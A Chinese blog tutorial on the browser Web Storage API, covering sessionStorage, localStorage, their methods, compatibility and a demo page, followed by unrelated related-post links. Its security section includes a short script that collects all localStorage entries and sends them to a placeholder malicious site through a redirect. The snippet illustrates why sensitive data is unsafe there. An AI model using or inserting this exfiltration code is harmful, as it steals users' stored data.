web API简介(三):客户端储存之Web Storage API
概述
前篇:web API简介(二):客户端储存之document.cookie API
客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据。
Web Storage API就是现代HTML5客户端储存的方法之一。
Web Storage介绍
web storage的概念和cookie相似,区别是它是为了更大的容量存储设计的。cookie数据不能超过4K而且有最大条数限制,同时因为每次http请求都会携带cookie,所以cookie只适合保存很小的数据,但是webStorage可以达到5M或更大。
Web Storage使用起来比cookie更方便更有启发性。setItem getItem clearItem等。
webStorage只能操作字符串对象,所有的存储值都会为字符串数据。
语法
Storage对象:Web Storage API中作为sessionStorage和localStorage的接口。
sessionStorage:继承自Storage对象,关闭浏览器之后消失。利用Window.sessionStorage来进行操作。(Window对象可以省略)
localStorage:继承自Storage对象,关闭浏览器之后仍然一直存在。利用Window.localStorage来进行操作。(Window对象可以省略)
属性和方法:
(1)Storage.length:长度你懂的。
(2)Storage.key():以n为参数,返回第n个key。
(3)Storage.getItem():查操作。
(4)Storage.setItem():增和改操作。
(5)Storage.removeItem():删操作。
(5)Storage.clear():删除所有。
安全性
Web Storage的安全性比cookie更糟糕。它甚至连HTTPONLY都没有。所以不要用它来储存敏感信息。
下面的代码可以获取使用localStorage存储在本地的所有信息。
var i = 0;
var str = "";
while (localStorage.key(i) != null)
{
var key = localStorage.key(i);
str += key + ": " + localStorage.getItem(key);
i++;
}
document.location="http://your-malicious-site.com?stolen="+ str;
兼容性
兼容五大浏览器,不兼容IE<8(兼容IE8)。
实例
在里面的输入框中设定值,然后关闭浏览器,再打开我的博客的这篇文章,点击运行测试一下即可看到你设定的值(不是默认值)。
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<div id="user_text"></div>
<input type="text" id="user_input">
<button onclick="userDo()">输入</button>
<button onclick="reset()">重置</button>
</body>
<script type="text/javascript">
//兼容性
function storageAvailable(type) {
try {
var storage = window[type],
x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
}
catch(e) {
return e instanceof DOMException && (
// everything except Firefox
e.code === 22 ||
// Firefox
e.code === 1014 ||
// test name field too, because code might not be present
// everything except Firefox
e.name === 'QuotaExceededError' ||
// Firefox
e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
// acknowledge QuotaExceededError only if there's something already stored
storage.length !== 0;
}
};
//初始化
function setText () {
if (!localStorage.getItem('usertext')) {
userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";
}
else {
userText.innerText = "你之前设定的值是:" + localStorage.getItem('usertext');
}
}
var userText = document.getElementById("user_text");
var userInput = document.getElementById("user_input");
if (storageAvailable('localStorage')) {
setText ();
}
else {
userText.innerText = "你的浏览器不支持web storage!";
};
function userDo () {
localStorage.setItem('usertext', userInput.value);
setText ();
};
function reset () {
localStorage.removeItem('usertext');
setText ();
};
</script>
</html>
Document
输入
重置
<script type="text/javascript">
//兼容性
function storageAvailable(type) {
try {
var storage = window[type],
x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
}
catch(e) {
return e instanceof DOMException && (
// everything except Firefox
e.code === 22 ||
// Firefox
e.code === 1014 ||
// test name field too, because code might not be present
// everything except Firefox
e.name === 'QuotaExceededError' ||
// Firefox
e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
// acknowledge QuotaExceededError only if there's something already stored
storage.length !== 0;
}
};
//初始化
function setText () {
if (!localStorage.getItem('usertext')) {
userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";
}
else {
userText.innerText = "你之前设定的值是:" + localStorage.getItem('usertext');
}
}
var userText = document.getElementById("user_text");
var userInput = document.getElementById("user_input");
if (storageAvailable('localStorage')) {
setText ();
}
else {
userText.innerText = "你的浏览器不支持web storage!";
};
function userDo () {
localStorage.setItem('usertext', userInput.value);
setText ();
};
function reset () {
localStorage.removeItem('usertext');
setText ();
};
</script>
web API简介(三):客户端储存之Web Storage API的更多相关文章
- web API简介(二):客户端储存之document.cookie API
概述 前篇:web API简介(一):API,Ajax和Fetch 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据.document.cook ...
- Web API(三):创建Web API项目
在本篇文章中将讲解如何使用Visual Studio创建一个新的ASP.NET Web API项目. 在Visual Studio中有两种方式用于创建Web API项目: 1.创建带MVC的Web A ...
- web API简介(四):客户端储存之IndexedDB API
概述 前篇:web API简介(三):客户端储存之Web Storage API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. Index ...
- Web服务器学习总结(一):web服务器简介
一.WEB服务器 1.1.WEB服务器简介 1.Web服务器是指驻留于因特网上某种类型计算机的程序,是可以向发出请求的浏览器提供文档的程序.当Web浏览器(客户端)连到服务器上并请求文件时,服务器将处 ...
- J2EE基础之Web服务简介
J2EE基础之Web服务简介 1.什么是Web服务? 在人们的日常生活中,经常会查询网页上某城市的天气信息,这些信息都是动态的.实时的,它是专业的气象站提供的一种服务.例如,在网上购物时,通常采用网上 ...
- Web Api 简介
ASP.NET Web API 简介 ASP.NET MVC 4 包含了 ASP.NET Web API, 这是一个创建可以连接包括浏览器.移动设备等多种客户端的 Http 服务的新框架, ASP. ...
- Redis总结(五)缓存雪崩和缓存穿透等问题 Web API系列(三)统一异常处理 C#总结(一)AutoResetEvent的使用介绍(用AutoResetEvent实现同步) C#总结(二)事件Event 介绍总结 C#总结(三)DataGridView增加全选列 Web API系列(二)接口安全和参数校验 RabbitMQ学习系列(六): RabbitMQ 高可用集群
Redis总结(五)缓存雪崩和缓存穿透等问题 前面讲过一些redis 缓存的使用和数据持久化.感兴趣的朋友可以看看之前的文章,http://www.cnblogs.com/zhangweizhon ...
- [转]ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)
本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ...
- ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)
在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ...
随机推荐
- IDEA使用SpringBoot 、maven创建微服务的简单过程
使用IDEA新建一个简单的微服务 1. 打开IDEA,File -> New -> project 打开如下图1-1所示的对话框 图 1-1 2.点击"Next"按钮 ...
- 十四、ChainOfResponsibility 责任链模式
设计: 代码清单: Trouble: public class Trouble { private int number; public Trouble(int number){ this.numbe ...
- 突然发现用PHP做多条件模糊查询很简单
原文:http://blog.csdn.net/suleil1/article/details/49471099 所使用的方法:$sqlArr=array();array_push();implode ...
- Discuz!开发之HTML转Discuz代码(bbcode)函数html2bbcode()
定义文件:\source\function\function_editor.php函数定义: function html2bbcode($text) { $text = strip_tags($tex ...
- 封装的mybatis连接类
package com.kevin.utils;import org.apache.ibatis.io.Resources;import org.apache.ibatis.session.SqlSe ...
- Selenium 学习汇总
Commands (命令) Action 对当前状态进行操作 失败时,停止测试 Assertion 校验是否有产生正确的值 Element Locators 指定HTML中的某元素 Patterns ...
- PHP开发——常量
概念 l 常量就是值永远不变的量.如:圆周率.身份证号码等. l 所谓常量值永远不变的量,是指在一次完整的HTTP请求过程中. l 常量在程序运行过程中,不能修改.也不能删除. l 常量比变量 ...
- github管理项目
1.在GitHub上创建一个项目,然后拷贝git地址. 2.在本地打开GIT CMD,然后建立一个文件夹,输入git clone 上面拷贝的git地址. 3.文件夹下会多出一个以你创建的项目名字的文件 ...
- windows powershell
今天用了一条命令: dism /online /add-package /packagepath:c:xxxx.cab
- [c#.net]未能加载文件或程序集“”或它的某一个依赖项。系统找不到指定的文件
问题是这样嘀: 项目采用了三层架构和工厂模式,并借鉴了PetShop的架构,因为这个项目也是采用分布式的数据库,目前只有三个数据库,主要出于提高访问性能考虑. 原来是按照网上对PetShop的介绍来给 ...